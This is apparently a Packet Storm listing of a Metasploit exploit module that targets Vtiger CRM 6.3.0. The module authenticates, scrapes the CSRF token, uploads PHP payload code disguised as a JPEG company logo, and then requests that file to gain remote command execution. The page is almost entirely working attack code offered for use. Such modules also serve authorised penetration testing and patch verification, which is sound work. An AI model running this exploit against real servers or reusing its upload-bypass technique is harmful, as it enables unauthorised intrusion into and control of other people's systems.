Lucene search

K
packetstormBenjamin Daniel MusslerPACKETSTORM:148753
HistoryJul 30, 2018 - 12:00 a.m.

Vtiger CRM 6.3.0 Authenticated Logo Upload Remote Command Execution

2018-07-3000:00:00
Benjamin Daniel Mussler
packetstormsecurity.com
43

0.025 Low

EPSS

Percentile

89.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Vtiger CRM - Authenticated Logo Upload RCE',  
'Description' => %q{  
Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo.  
Instead of uploading an image, an attacker may choose to upload a file containing PHP code and  
run this code by accessing the resulting PHP file.  
  
This module was tested against vTiger CRM v6.3.0.  
},  
'Author' =>  
[  
'Benjamin Daniel Mussler', # Discoverys  
'Touhid M.Shaikh <[email protected]>', # Metasploit Module  
'SecureLayer7.net' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-6000'],  
['CVE','2016-1713'],  
['EDB', '38345']  
],  
'DefaultOptions' =>  
{  
'Encoder' => 'php/base64',  
'RPORT' => 8888  
},  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['vTiger CRM v6.3.0', {}],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 28 2015'))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'Base vTiger CRM directory path', '/']),  
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to authenticate with', ''])  
])  
  
register_advanced_options(  
[  
OptBool.new('PHPSHORTTAG', [true, 'Use short open php tags around payload', true])  
])  
end  
  
def check  
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') })  
  
unless res  
vprint_error("Unable to access the index.php file")  
return CheckCode::Unknown  
end  
  
unless res.code == 200  
vprint_error("Error accessing the index.php file")  
return CheckCode::Unknown  
end  
  
if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i  
vprint_status("vTiger CRM version: #{$1}")  
if $1 == '6.3.0'  
return CheckCode::Vulnerable  
else  
return CheckCode::Detected  
end  
end  
  
CheckCode::Safe  
end  
  
# Login Function.  
def login  
# Dummy Request for grabbing CSRF token and PHPSESSION ID  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vhost' => "#{rhost}",  
})  
  
# Grabbing CSRF token from body  
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?  
vprint_good("CSRF Token for login: #{csrf}")  
  
# Get Login now.  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'module' => 'Users',  
'action' => 'Login',  
},  
'vars_post' => {  
'__vtrftk' => csrf,  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
},  
})  
  
unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")  
end  
  
cookie = nil  
if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")  
vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")  
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])  
cookie = res.get_cookies.split[-1]  
end  
  
unless cookie  
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")  
end  
  
cookie  
end  
  
def exploit  
cookie = login  
unless cookie  
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed")  
end  
  
pay_name = rand_text_alpha(rand(5..10)) + ".php"  
  
# Retrieve CSRF token  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vhost' => "#{rhost}",  
'cookie' => cookie  
})  
  
# Grabbing CSRF token from body  
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?  
vprint_good("CSRF Token for Form Upload: #{csrf}")  
  
stager = datastore['PHPSHORTTAG'] ? '<? ' : '<?php '  
stager << payload.encoded  
stager << ' ?>'  
  
# Setting Company Form data  
post_data = Rex::MIME::Message.new  
post_data.add_part(csrf, nil, nil, "form-data; name=\"__vtrftk\"") # CSRF token  
post_data.add_part('Vtiger', nil, nil, "form-data; name=\"module\"")  
post_data.add_part('Settings', nil, nil, "form-data; name=\"parent\"")  
post_data.add_part('CompanyDetailsSave', nil, nil, "form-data; name=\"action\"")  
post_data.add_part(stager, "image/jpeg", nil, "form-data; name=\"logo\"; filename=\"#{pay_name}\"")  
post_data.add_part('vtiger', nil, nil, "form-data; name=\"organizationname\"")  
data = post_data.to_s  
  
print_status("Uploading payload: #{pay_name}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vhost' => "#{rhost}",  
'cookie' => cookie,  
'connection' => 'close',  
'headers' => {  
'Referer' => "http://#{peer}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",  
'Upgrade-Insecure-Requests' => '1',  
},  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
})  
  
unless res && res.code == 302  
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")  
end  
  
# Cleanup file  
register_files_for_cleanup(pay_name)  
  
vprint_status("Executing Payload: #{peer}/test/logo/#{pay_name}" )  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name)  
})  
  
if res && res.code != 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Payload not executed")  
end  
end  
end  
`